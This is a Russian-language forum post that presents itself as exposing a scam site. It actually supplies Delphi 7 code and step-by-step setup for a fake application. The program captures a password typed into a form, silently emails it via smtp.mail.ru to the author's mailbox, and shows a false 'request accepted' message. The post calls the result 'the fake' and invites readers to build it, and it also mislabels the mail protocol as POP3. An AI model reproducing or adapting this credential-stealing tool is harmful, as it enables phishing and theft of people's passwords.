Вообщем надоело мне обманывать людей. Все, что есть на это сайте - чистый лохотрон, как вы думаете почему он неработает? Вот это всякие "не правильный пароль", "нет прав" - это все фейк. Нет ни гм панели ничего. Только хаки и баги. Все просто десамбилируется и прекрасно видно, функция отправки по POP3 (протокол почты). Вот ловите мой код на Delphi 7+
Киньте на форму компонент TIdSMTP с IndyClient. В его параметрах выставите значения в поле Host - smtp.mail.ru, в поле в поле Password - пароль от почты, в поле Port - 2525, в поле AuthenticationType - atLogin, а в поле Username - свой адрес эл. почты. И добавьте кнопку Tbutton
Далее код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, XPMan, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, idMessage, IdEMailAddress, ComCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Label1: TLabel;
Button1: TButton;
IdSMTP1: TIdSMTP;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure mailsend;
var
attach: TidAttachment;
msg: tidmessage;
i: integer;
begin
msg:=TIdMessage.Create(nil);
msg.Body.Add('Пароль: '+Form1.Edit1.Text);
msg.Subject:='Замените текст'; //тут тема
msg.From.Address:='Замените текст'; //Здесь указываем вашу почту
msg.From.Name:='Замените текст'; // Здесь имя отправителя
msg.Recipients.EMailAddresses:='Замените текст'; //Здесь опять вашу почту
msg.IsEncoded:=true;
Form1.idSMTP1.Connect();
if Form1.idSMTP1.Connected then
begin
Form1.idSMTP1.Send(msg);
end
else
Form1.IdSMTP1.Disconnect;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
//Обработчик событий для отправки
mailsend;
ShowMessage ('Ваш запрос был принят.');
Form1.IdSMTP1.Disconnect;
end;
end.
После всех манипуляций не запуская приложния сделайте двойной клик по кнопке, а уж потом нажимайте F9 и опла-опла, фейк готов. Тыкаем мне в репу +